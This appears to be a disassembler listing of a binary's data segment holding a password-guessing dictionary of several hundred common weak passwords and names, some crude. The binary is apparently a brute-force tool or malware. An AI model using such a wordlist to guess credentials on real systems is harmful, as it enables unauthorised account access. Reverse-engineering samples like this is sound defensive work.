		align 10h
aToyota		db 'toyota',0           ; DATA XREF: seg002:00425CD8o
					; seg002:004265E8o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: seg002:00425CD4o
		align 10h
aTortoise	db 'tortoise',0         ; DATA XREF: seg002:00425CD0o
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: seg002:00425CCCo
		align 4
aTomato		db 'tomato',0           ; DATA XREF: seg002:00425CC8o
		align 10h
aTokenrin	db 'tokenrin',0         ; DATA XREF: seg002:00425CC4o
		align 4
aToken		db 'token',0            ; DATA XREF: seg002:00425CC0o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: seg002:00425CBCo
		align 4
aToad		db 'toad',0             ; DATA XREF: seg002:00425CB8o
		align 4
aTits		db 'tits',0             ; DATA XREF: seg002:00425CB4o
		align 4
aTina		db 'tina',0             ; DATA XREF: seg002:00425CB0o
		align 4
aTime		db 'time',0             ; DATA XREF: seg002:00425CACo
		align 4
aTiger		db 'tiger',0            ; DATA XREF: seg002:00425CA8o
					; seg002:004265DCo
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: seg002:00425CA4o
aThursday	db 'thursday',0         ; DATA XREF: seg002:00425CA0o
		align 4
aThin		db 'thin',0             ; DATA XREF: seg002:00425C9Co
		align 10h
aTheresa	db 'theresa',0          ; DATA XREF: seg002:00425C98o
aThailand	db 'thailand',0         ; DATA XREF: seg002:00425C94o
		align 4
aText		db 'text',0             ; DATA XREF: seg002:00425C90o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: seg002:00425C8Co
		align 4
aTess		db 'tess',0             ; DATA XREF: seg002:00425C88o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: seg002:00425C84o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: seg002:00425C80o
		align 4
aTera		db 'tera',0             ; DATA XREF: seg002:00425C7Co
		align 4
aTennis		db 'tennis',0           ; DATA XREF: seg002:00425C78o
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: seg002:00425C74o
		align 10h
aTelnet		db 'telnet',0           ; DATA XREF: seg002:00425C70o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: seg002:00425C6Co
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: seg002:00425C68o
aTeen		db 'teen',0             ; DATA XREF: seg002:00425C64o
		align 4
aTech		db 'tech',0             ; DATA XREF: seg002:00425C60o
		align 4
aTears		db 'tears',0            ; DATA XREF: seg002:00425C5Co
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: seg002:00425C58o
		align 4
aTeam		db 'team',0             ; DATA XREF: seg002:00425C54o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: seg002:00425C4Co
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: seg002:00425C48o
		align 4
aTarget		db 'target',0           ; DATA XREF: seg002:00425C44o
		align 10h
aTara		db 'tara',0             ; DATA XREF: seg002:00425C40o
		align 4
aTape		db 'tape',0             ; DATA XREF: seg002:00425C3Co
		align 10h
aTango		db 'tango',0            ; DATA XREF: seg002:00425C38o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: seg002:00425C34o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: seg002:00425C30o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: seg002:00425C2Co
		align 4
aTami		db 'tami',0             ; DATA XREF: seg002:00425C28o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: seg002:00425C24o
		align 4
aTall		db 'tall',0             ; DATA XREF: seg002:00425C20o
		align 4
aTalk		db 'talk',0             ; DATA XREF: seg002:00425C1Co
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: seg002:00425C18o
aSysop		db 'sysop',0            ; DATA XREF: seg002:00425C14o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: seg002:00425C10o
		align 10h
aSymmetry	db 'symmetry',0         ; DATA XREF: seg002:00425C0Co
		align 4
aSybil		db 'sybil',0            ; DATA XREF: seg002:00425C08o
		align 4
aSword		db 'sword',0            ; DATA XREF: seg002:00425C04o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: seg002:00425C00o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: seg002:00425BFCo
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: seg002:00425BF8o
aSuzie		db 'suzie',0            ; DATA XREF: seg002:00425BF4o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: seg002:00425BF0o
aSusie		db 'susie',0            ; DATA XREF: seg002:00425BECo
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: seg002:00425BE8o
aSusan		db 'susan',0            ; DATA XREF: seg002:00425BE4o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: seg002:00425BE0o
aSurfer		db 'surfer',0           ; DATA XREF: seg002:00425BDCo
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: seg002:00425BD8o
		align 4
aSupport	db 'support',0          ; DATA XREF: seg002:00425BD4o
aSupervis	db 'supervis',0         ; DATA XREF: seg002:00425BD0o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: seg002:00425BCCo
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: seg002:00425BC8o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: seg002:00425BC4o
		align 10h
aSuperman	db 'superman',0         ; DATA XREF: seg002:00425BC0o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: seg002:00425BBCo
		align 4
aSummer		db 'summer',0           ; DATA XREF: seg002:00425BB8o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: seg002:00425BB4o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: seg002:00425BB0o
		align 10h
aSuck		db 'suck',0             ; DATA XREF: seg002:00425BACo
		align 4
aSuccess	db 'success',0          ; DATA XREF: seg002:00425BA8o
aSubway		db 'subway',0           ; DATA XREF: seg002:00425BA4o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: seg002:00425BA0o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: seg002:00425B9Co
		align 10h
aStrip		db 'strip',0            ; DATA XREF: seg002:00425B94o
		align 4
aString		db 'string',0           ; DATA XREF: seg002:00425B90o
		align 10h
aStreetfi	db 'streetfi',0         ; DATA XREF: seg002:00425B8Co
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: seg002:00425B88o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: seg002:00425B84o
		align 4
aStrange	db 'strange',0          ; DATA XREF: seg002:00425B80o
aStones		db 'stones',0           ; DATA XREF: seg002:00425B7Co
		align 4
aStoned		db 'stoned',0           ; DATA XREF: seg002:00425B78o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: seg002:00425B74o
		align 4
aSteve		db 'steve',0            ; DATA XREF: seg002:00425B70o
		align 10h
aStereo		db 'stereo',0           ; DATA XREF: seg002:00425B6Co
		align 4
aStephani	db 'stephani',0         ; DATA XREF: seg002:00425B68o
		align 4
aSteph		db 'steph',0            ; DATA XREF: seg002:00425B64o
		align 4
aSteel		db 'steel',0            ; DATA XREF: seg002:00425B60o
		align 4
aSteal		db 'steal',0            ; DATA XREF: seg002:00425B5Co
		align 4
aSteak		db 'steak',0            ; DATA XREF: seg002:00425B58o
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: seg002:00425B54o
		align 10h
aStartup	db 'startup',0          ; DATA XREF: seg002:00425B50o
aStartrek	db 'startrek',0         ; DATA XREF: seg002:00425B4Co
		align 4
aStart		db 'start',0            ; DATA XREF: seg000:0040B9D3o
					; seg002:00425B48o
		align 4
aStarship	db 'starship',0         ; DATA XREF: seg002:00425B44o
		align 4
aStar		db 'star',0             ; DATA XREF: seg002:00425B40o
		align 10h
aStacy		db 'stacy',0            ; DATA XREF: seg002:00425B3Co
		align 4
aStacie		db 'stacie',0           ; DATA XREF: seg002:00425B38o
		align 10h
aStaci		db 'staci',0            ; DATA XREF: seg002:00425B34o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: seg002:00425B30o
		align 10h
aSr71		db 'sr71',0             ; DATA XREF: seg002:00425B2Co
		align 4
aSquires	db 'squires',0          ; DATA XREF: seg002:00425B28o
aSpunk		db 'spunk',0            ; DATA XREF: seg002:00425B24o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: seg002:00425B20o
		align 4
aSpring		db 'spring',0           ; DATA XREF: seg002:00425B1Co
		align 4
aSpred		db 'spred',0            ; DATA XREF: seg002:00425B18o
		align 4
aSpit		db 'spit',0             ; DATA XREF: seg002:00425B14o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: seg002:00425B10o
		align 4
aSpider		db 'spider',0           ; DATA XREF: seg002:00425B0Co
		align 10h
aSpice		db 'spice',0            ; DATA XREF: seg002:00425B08o
		align 4
aSpell		db 'spell',0            ; DATA XREF: seg002:00425B04o
		align 10h
aSpear		db 'spear',0            ; DATA XREF: seg002:00425B00o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: seg002:00425AFCo
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: seg002:00425AF8o
		align 10h
aSouth		db 'south',0            ; DATA XREF: seg002:00425AF4o
		align 4
aSource		db 'source',0           ; DATA XREF: seg002:00425AF0o
		align 10h
aSossina	db 'sossina',0          ; DATA XREF: seg002:00425AECo
aSonya		db 'sonya',0            ; DATA XREF: seg002:00425AE8o
		align 10h
aSonic		db 'sonic',0            ; DATA XREF: seg002:00425AE4o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: seg002:00425AE0o
		align 10h
aSondra		db 'sondra',0           ; DATA XREF: seg002:00425ADCo
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: seg002:00425AD8o
		align 4
aSoftware	db 'software',0         ; DATA XREF: seg002:00425AD4o
		align 10h
aSoft		db 'soft',0             ; DATA XREF: seg002:00425AD0o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: seg002:00425ACCo
		align 10h
aSocrates	db 'socrates',0         ; DATA XREF: seg002:00425AC8o
		align 4
aSocial		db 'social',0           ; DATA XREF: seg002:00425AC4o
		align 4
aSoap		db 'soap',0             ; DATA XREF: seg002:00425AC0o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: seg002:00425ABCo
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: seg002:00425AB8o
		align 4
aSnake		db 'snake',0            ; DATA XREF: seg002:00425AB4o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: seg002:00425AB0o
		align 4
aSnach		db 'snach',0            ; DATA XREF: seg002:00425AACo
		align 4
aSmut		db 'smut',0             ; DATA XREF: seg002:00425AA8o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: seg002:00425AA4o
		align 4
aSmother	db 'smother',0          ; DATA XREF: seg002:00425AA0o
aSmooch		db 'smooch',0           ; DATA XREF: seg002:00425A9Co
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: seg002:00425A98o
		align 4
aSmile		db 'smile',0            ; DATA XREF: seg002:00425A94o
		align 4
aSmart		db 'smart',0            ; DATA XREF: seg002:00425A90o
		align 4
aSmall		db 'small',0            ; DATA XREF: seg002:00425A8Co
		align 4
aSlut		db 'slut',0             ; DATA XREF: seg002:00425A88o
		align 4
aSlow		db 'slow',0             ; DATA XREF: seg002:00425A84o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: seg002:00425A80o
aSlick		db 'slick',0            ; DATA XREF: seg002:00425A7Co
		align 4
aSlave		db 'slave',0            ; DATA XREF: seg002:00425A78o
		align 4
aSkull		db 'skull',0            ; DATA XREF: seg002:00425A74o
		align 4
aSite		db 'site',0             ; DATA XREF: seg002:00425A70o
		align 4
aSingle		db 'single',0           ; DATA XREF: seg002:00425A6Co
		align 4
aSinger		db 'singer',0           ; DATA XREF: seg002:00425A68o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: seg002:00425A64o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: seg002:00425A60o
		align 4
aSimple		db 'simple',0           ; DATA XREF: seg002:00425A5Co
		align 4
aSimon		db 'simon',0            ; DATA XREF: seg002:00425A58o
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: seg002:00425A54o
aSilver		db 'silver',0           ; DATA XREF: seg002:00425A50o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: seg002:00425A4Co
		align 10h
aSierra		db 'sierra',0           ; DATA XREF: seg002:00425A48o
		align 4
aSick		db 'sick',0             ; DATA XREF: seg002:00425A44o
		align 10h
aShuttle	db 'shuttle',0          ; DATA XREF: seg002:00425A40o
aShort		db 'short',0            ; DATA XREF: seg002:00425A3Co
		align 10h
aShivers	db 'shivers',0          ; DATA XREF: seg002:00425A38o
aShiva		db 'shiva',0            ; DATA XREF: seg002:00425A34o
		align 10h
aShitpot	db 'shitpot',0          ; DATA XREF: seg002:00425A30o
aShit		db 'shit',0             ; DATA XREF: seg002:00425A2Co
		align 10h
aShirley	db 'shirley',0          ; DATA XREF: seg002:00425A28o
aShift		db 'shift',0            ; DATA XREF: seg002:00425A24o
		align 10h
aSherri		db 'sherri',0           ; DATA XREF: seg002:00425A20o
		align 4
aShell		db 'shell',0            ; DATA XREF: seg002:00425A1Co
		align 10h
aSheldon	db 'sheldon',0          ; DATA XREF: seg002:00425A18o
aSheffiel	db 'sheffiel',0         ; DATA XREF: seg002:00425A14o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: seg002:00425A10o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: seg002:00425A0Co
		align 4
aShark		db 'shark',0            ; DATA XREF: seg002:00425A08o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: seg002:00425A04o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: seg002:00425A00o
aSexy		db 'sexy',0             ; DATA XREF: seg002:004259FCo
		align 4
aSesame		db 'sesame',0           ; DATA XREF: seg002:004259F8o
		align 4
aService	db 'service',0          ; DATA XREF: seg002:004259F4o
					; seg002:004265BCo
aSerial		db 'serial',0           ; DATA XREF: seg002:004259F0o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: seg002:004259ECo
		align 4
aSentry		db 'sentry',0           ; DATA XREF: seg002:004259E8o
		align 10h
aSentinel	db 'sentinel',0         ; DATA XREF: seg002:004259E4o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: seg002:004259E0o
		align 4
aSega		db 'sega',0             ; DATA XREF: seg002:004259DCo
		align 4
aSeed		db 'seed',0             ; DATA XREF: seg002:004259D8o
		align 4
aSecurity	db 'security',0         ; DATA XREF: seg002:004259D4o
		align 10h
aSearch		db 'search',0           ; DATA XREF: seg002:004259D0o
		align 4
aScout		db 'scout',0            ; DATA XREF: seg002:004259CCo
		align 10h
aScotty		db 'scotty',0           ; DATA XREF: seg002:004259C8o
		align 4
aScott		db 'scott',0            ; DATA XREF: seg002:004259C4o
		align 10h
aScorpion	db 'scorpion',0         ; DATA XREF: seg002:004259C0o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: seg002:004259BCo
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: seg002:004259B8o
aSchool		db 'school',0           ; DATA XREF: seg002:004259B4o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: seg002:004259B0o
		align 10h
aScamper	db 'scamper',0          ; DATA XREF: seg002:004259ACo
aSaxon		db 'saxon',0            ; DATA XREF: seg002:004259A8o
		align 10h
aSaturn		db 'saturn',0           ; DATA XREF: seg002:004259A4o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: seg002:004259A0o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: seg002:0042599Co
		align 4
aSara		db 'sara',0             ; DATA XREF: seg002:00425998o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: seg002:00425994o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: seg002:00425990o
		align 4
aSample		db 'sample',0           ; DATA XREF: seg002:0042598Co
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: seg002:00425988o
		align 4
aSalt		db 'salt',0             ; DATA XREF: seg002:00425984o
		align 10h
aSale		db 'sale',0             ; DATA XREF: seg002:00425980o
		align 4
aSalami		db 'salami',0           ; DATA XREF: seg002:0042597Co
		align 10h
aSafe		db 'safe',0             ; DATA XREF: seg002:00425978o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: seg002:00425974o
		align 10h
aRush		db 'rush',0             ; DATA XREF: seg002:00425970o
		align 4
aRunning	db 'running',0          ; DATA XREF: seg002:0042596Co
aRules		db 'rules',0            ; DATA XREF: seg002:00425968o
		align 4
aRude		db 'rude',0             ; DATA XREF: seg002:00425964o
		align 10h
aRuby		db 'ruby',0             ; DATA XREF: seg002:00425960o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: seg002:0042595Co
		align 10h
aRubber		db 'rubber',0           ; DATA XREF: seg002:00425958o
		align 4
aRough		db 'rough',0            ; DATA XREF: seg002:00425954o
		align 10h
aRoses		db 'roses',0            ; DATA XREF: seg002:00425950o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: seg002:0042594Co
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: seg002:00425948o
aRose		db 'rose',0             ; DATA XREF: seg002:00425944o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: seg002:00425940o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: seg002:0042593Co
aRomeo		db 'romeo',0            ; DATA XREF: seg002:00425938o
		align 4
aRomano		db 'romano',0           ; DATA XREF: seg002:00425934o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: seg002:00425930o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: seg002:0042592Co
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: seg002:00425928o
		align 10h
aRocky		db 'rocky',0            ; DATA XREF: seg002:00425924o
		align 4
aRock		db 'rock',0             ; DATA XREF: seg002:00425920o
		align 10h
aRocheste	db 'rocheste',0         ; DATA XREF: seg002:0042591Co
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: seg002:00425918o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: seg002:00425914o
		align 10h
aRobotics	db 'robotics',0         ; DATA XREF: seg002:00425910o
		align 4
aRobot		db 'robot',0            ; DATA XREF: seg002:0042590Co
		align 4
aRobin		db 'robin',0            ; DATA XREF: seg002:00425908o
		align 4
aRobert		db 'robert',0           ; DATA XREF: seg002:00425904o
		align 4
aRoach		db 'roach',0            ; DATA XREF: seg002:00425900o
		align 4
aRisc		db 'risc',0             ; DATA XREF: seg002:004258FCo
		align 4
aRipple		db 'ripple',0           ; DATA XREF: seg002:004258F8o
		align 4
aRiot		db 'riot',0             ; DATA XREF: seg002:004258F4o
		align 4
aRing		db 'ring',0             ; DATA XREF: seg002:004258F0o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: seg002:004258ECo
		align 4
aRight		db 'right',0            ; DATA XREF: seg002:004258E8o
		align 10h
aRiffraff	db 'riffraff',0         ; DATA XREF: seg002:004258E4o
		align 4
aRick		db 'rick',0             ; DATA XREF: seg002:004258E0o
		align 4
aRich		db 'rich',0             ; DATA XREF: seg002:004258DCo
		align 4
aRhino		db 'rhino',0            ; DATA XREF: seg002:004258D8o
		align 4
aReveal		db 'reveal',0           ; DATA XREF: seg002:004258D4o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: seg002:004258D0o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: seg002:004258CCo
		align 4
aReport		db 'report',0           ; DATA XREF: seg002:004258C8o
		align 4
aRent		db 'rent',0             ; DATA XREF: seg002:004258C4o
		align 4
aReno		db 'reno',0             ; DATA XREF: seg002:004258C0o
		align 4
aRenee		db 'renee',0            ; DATA XREF: seg002:004258BCo
		align 4
aRemote		db 'remote',0           ; DATA XREF: seg002:004258B8o
		align 4
aRelease	db 'release',0          ; DATA XREF: seg002:004258B4o
aRegional	db 'regional',0         ; DATA XREF: seg002:004258B0o
		align 10h
aReferenc	db 'referenc',0         ; DATA XREF: seg002:004258ACo
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: seg002:004258A8o
aReddawn	db 'reddawn',0          ; DATA XREF: seg002:004258A4o
aRecord		db 'record',0           ; DATA XREF: seg002:004258A0o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: seg002:0042589Co
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: seg002:00425898o
aRebal		db 'rebal',0            ; DATA XREF: seg002:00425894o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: seg002:00425890o
		align 4
aReam		db 'ream',0             ; DATA XREF: seg002:0042588Co
		align 4
aReally		db 'really',0           ; DATA XREF: seg002:00425888o
		align 4
aReality	db 'reality',0          ; DATA XREF: seg002:00425884o
aReagan		db 'reagan',0           ; DATA XREF: seg002:00425880o
		align 4
aRazor		db 'razor',0            ; DATA XREF: seg002:0042587Co
		align 4
aRascal		db 'rascal',0           ; DATA XREF: seg002:00425878o
		align 4
aRape		db 'rape',0             ; DATA XREF: seg002:00425874o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: seg002:0042586Co
aRaindrop	db 'raindrop',0         ; DATA XREF: seg002:00425868o
		align 10h
aRainbow	db 'rainbow',0          ; DATA XREF: seg002:00425864o
aRain		db 'rain',0             ; DATA XREF: seg002:00425860o
		align 10h
aRaid		db 'raid',0             ; DATA XREF: seg002:0042585Co
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: seg002:00425858o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: seg002:00425854o
		align 10h
aRachel		db 'rachel',0           ; DATA XREF: seg002:00425850o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: seg002:0042584Co
		align 10h
aQwerty		db 'qwerty',0           ; DATA XREF: seg002:00425848o
					; seg002:004265A0o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: seg002:00425844o
					; seg002:0042659Co
		align 10h
aQuebec		db 'quebec',0           ; DATA XREF: seg002:00425840o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: seg002:0042583Co
		align 10h
aPuppet		db 'puppet',0           ; DATA XREF: seg002:00425838o
		align 4
aPunk		db 'punk',0             ; DATA XREF: seg002:00425834o
		align 10h
aPunisher	db 'punisher',0         ; DATA XREF: seg002:00425830o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: seg002:0042582Co
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: seg002:00425828o
aPuke		db 'puke',0             ; DATA XREF: seg002:00425824o
		align 4
aPuck		db 'puck',0             ; DATA XREF: seg002:00425820o
		align 4
aPublic		db 'public',0           ; DATA XREF: seg002:0042581Co
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: seg002:00425818o
		align 10h
aPsycho		db 'psycho',0           ; DATA XREF: seg002:00425814o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: seg002:00425810o
		align 4
aProtect	db 'protect',0          ; DATA XREF: seg002:0042580Co
aPrompt		db 'prompt',0           ; DATA XREF: seg002:00425808o
		align 4
aProgram	db 'program',0          ; DATA XREF: seg002:00425804o
aProfile	db 'profile',0          ; DATA XREF: seg002:00425800o
aProfesso	db 'professo',0         ; DATA XREF: seg002:004257FCo
		align 10h
aProcesso	db 'processo',0         ; DATA XREF: seg002:004257F8o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: seg002:004257F4o
aPrivs		db 'privs',0            ; DATA XREF: seg002:004257F0o
		align 4
aPrivate	db 'private',0          ; DATA XREF: seg002:004257ECo
aPriv		db 'priv',0             ; DATA XREF: seg002:004257E8o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: seg002:004257E4o
aPrinceto	db 'princeto',0         ; DATA XREF: seg002:004257E0o
		align 10h
aPrince		db 'prince',0           ; DATA XREF: seg002:004257DCo
		align 4
aPresto		db 'presto',0           ; DATA XREF: seg002:004257D8o
		align 10h
aPrelude	db 'prelude',0          ; DATA XREF: seg002:004257D4o
aPrecious	db 'precious',0         ; DATA XREF: seg002:004257D0o
		align 4
aPraise		db 'praise',0           ; DATA XREF: seg002:004257CCo
		align 4
aPower		db 'power',0            ; DATA XREF: seg002:004257C8o
		align 4
aPoster		db 'poster',0           ; DATA XREF: seg002:004257C4o
		align 4
aPost		db 'post',0             ; DATA XREF: seg002:004257C0o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: seg002:004257BCo
aPorno		db 'porno',0            ; DATA XREF: seg002:004257B8o
		align 4
aPorn		db 'porn',0             ; DATA XREF: seg002:004257B4o
		align 4
aPork		db 'pork',0             ; DATA XREF: seg002:004257B0o
		align 4
aPoor		db 'poor',0             ; DATA XREF: seg002:004257ACo
		align 4
aPoop		db 'poop',0             ; DATA XREF: seg002:004257A8o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: seg002:004257A4o
		align 10h
aPolynomi	db 'polynomi',0         ; DATA XREF: seg002:004257A0o
		align 4
aPolly		db 'polly',0            ; DATA XREF: seg002:0042579Co
		align 4
aPolice		db 'police',0           ; DATA XREF: seg002:00425798o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: seg002:00425794o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: seg002:00425790o
		align 10h
aPluto		db 'pluto',0            ; DATA XREF: seg002:0042578Co
		align 4
aPlover		db 'plover',0           ; DATA XREF: seg002:00425788o
		align 10h
aPlayboy	db 'playboy',0          ; DATA XREF: seg002:00425784o
aPlane		db 'plane',0            ; DATA XREF: seg002:00425780o
		align 10h
aPizza		db 'pizza',0            ; DATA XREF: seg002:0042577Co
		align 4
aPiss		db 'piss',0             ; DATA XREF: seg002:00425778o
		align 10h
aPinname	db 'pinname',0          ; DATA XREF: seg002:00425774o
aPimp		db 'pimp',0             ; DATA XREF: seg002:00425770o
		align 10h
aPierre		db 'pierre',0           ; DATA XREF: seg002:0042576Co
		align 4
aPick		db 'pick',0             ; DATA XREF: seg002:00425768o
		align 10h
aPhuck		db 'phuck',0            ; DATA XREF: seg002:00425764o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: seg002:00425760o
		align 10h
aPhrase		db 'phrase',0           ; DATA XREF: seg002:0042575Co
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: seg002:00425758o
		align 10h
aPhoton		db 'photon',0           ; DATA XREF: seg002:00425754o
		align 4
aPhone		db 'phone',0            ; DATA XREF: seg002:00425750o
		align 10h
aPhoenix	db 'phoenix',0          ; DATA XREF: seg002:0042574Co
aPhilip		db 'philip',0           ; DATA XREF: seg002:00425748o
		align 10h
aPhil		db 'phil',0             ; DATA XREF: seg002:00425744o
		align 4
aPeter		db 'peter',0            ; DATA XREF: seg002:00425740o
		align 10h
aPete		db 'pete',0             ; DATA XREF: seg002:0042573Co
		align 4
aPervert	db 'pervert',0          ; DATA XREF: seg002:00425738o
aPersona	db 'persona',0          ; DATA XREF: seg002:00425734o
aPersimmo	db 'persimmo',0         ; DATA XREF: seg002:00425730o
		align 4
aPermit		db 'permit',0           ; DATA XREF: seg002:0042572Co
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: seg002:00425728o
aPercolat	db 'percolat',0         ; DATA XREF: seg002:00425724o
		align 10h
aPepper		db 'pepper',0           ; DATA XREF: seg002:00425720o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: seg002:0042571Co
		align 10h
aPentium	db 'pentium',0          ; DATA XREF: seg002:00425718o
aPenthous	db 'penthous',0         ; DATA XREF: seg002:00425714o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: seg002:00425710o
		align 10h
aPentagon	db 'pentagon',0         ; DATA XREF: seg002:0042570Co
		align 4
aPenname	db 'penname',0          ; DATA XREF: seg002:00425708o
aPenis		db 'penis',0            ; DATA XREF: seg002:00425704o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: seg002:00425700o
aPenelope	db 'penelope',0         ; DATA XREF: seg002:004256FCo
		align 10h
aPencil		db 'pencil',0           ; DATA XREF: seg002:004256F8o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: seg002:004256F4o
		align 10h
aPeanuts	db 'peanuts',0          ; DATA XREF: seg002:004256F0o
aPaula		db 'paula',0            ; DATA XREF: seg002:004256ECo
		align 10h
aPatty		db 'patty',0            ; DATA XREF: seg002:004256E8o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: seg002:004256E4o
aPatricia	db 'patricia',0         ; DATA XREF: seg002:004256E0o
		align 4
aPaste		db 'paste',0            ; DATA XREF: seg002:004256DCo
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: seg002:004256D8o
		align 10h
aPascal		db 'pascal',0           ; DATA XREF: seg002:004256D4o
		align 4
aPapers		db 'papers',0           ; DATA XREF: seg002:004256D0o
		align 10h
aPaper		db 'paper',0            ; DATA XREF: seg002:004256CCo
		align 4
aPapa		db 'papa',0             ; DATA XREF: seg002:004256C8o
		align 10h
aPamela		db 'pamela',0           ; DATA XREF: seg002:004256C4o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: seg002:004256C0o
		align 4
aPaint		db 'paint',0            ; DATA XREF: seg002:004256BCo
		align 4
aPainless	db 'painless',0         ; DATA XREF: seg002:004256B8o
		align 4
aPacker		db 'packer',0           ; DATA XREF: seg002:004256B4o
		align 10h
aPackard	db 'packard',0          ; DATA XREF: seg002:004256B0o
aPacific	db 'pacific',0          ; DATA XREF: seg002:004256ACo
aOxford		db 'oxford',0           ; DATA XREF: seg002:004256A8o
		align 4
aOutside	db 'outside',0          ; DATA XREF: seg002:004256A4o
aOutput		db 'output',0           ; DATA XREF: seg002:004256A0o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: seg002:0042569Co
		align 10h
aOutdoors	db 'outdoors',0         ; DATA XREF: seg002:00425698o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: seg002:00425694o
		align 4
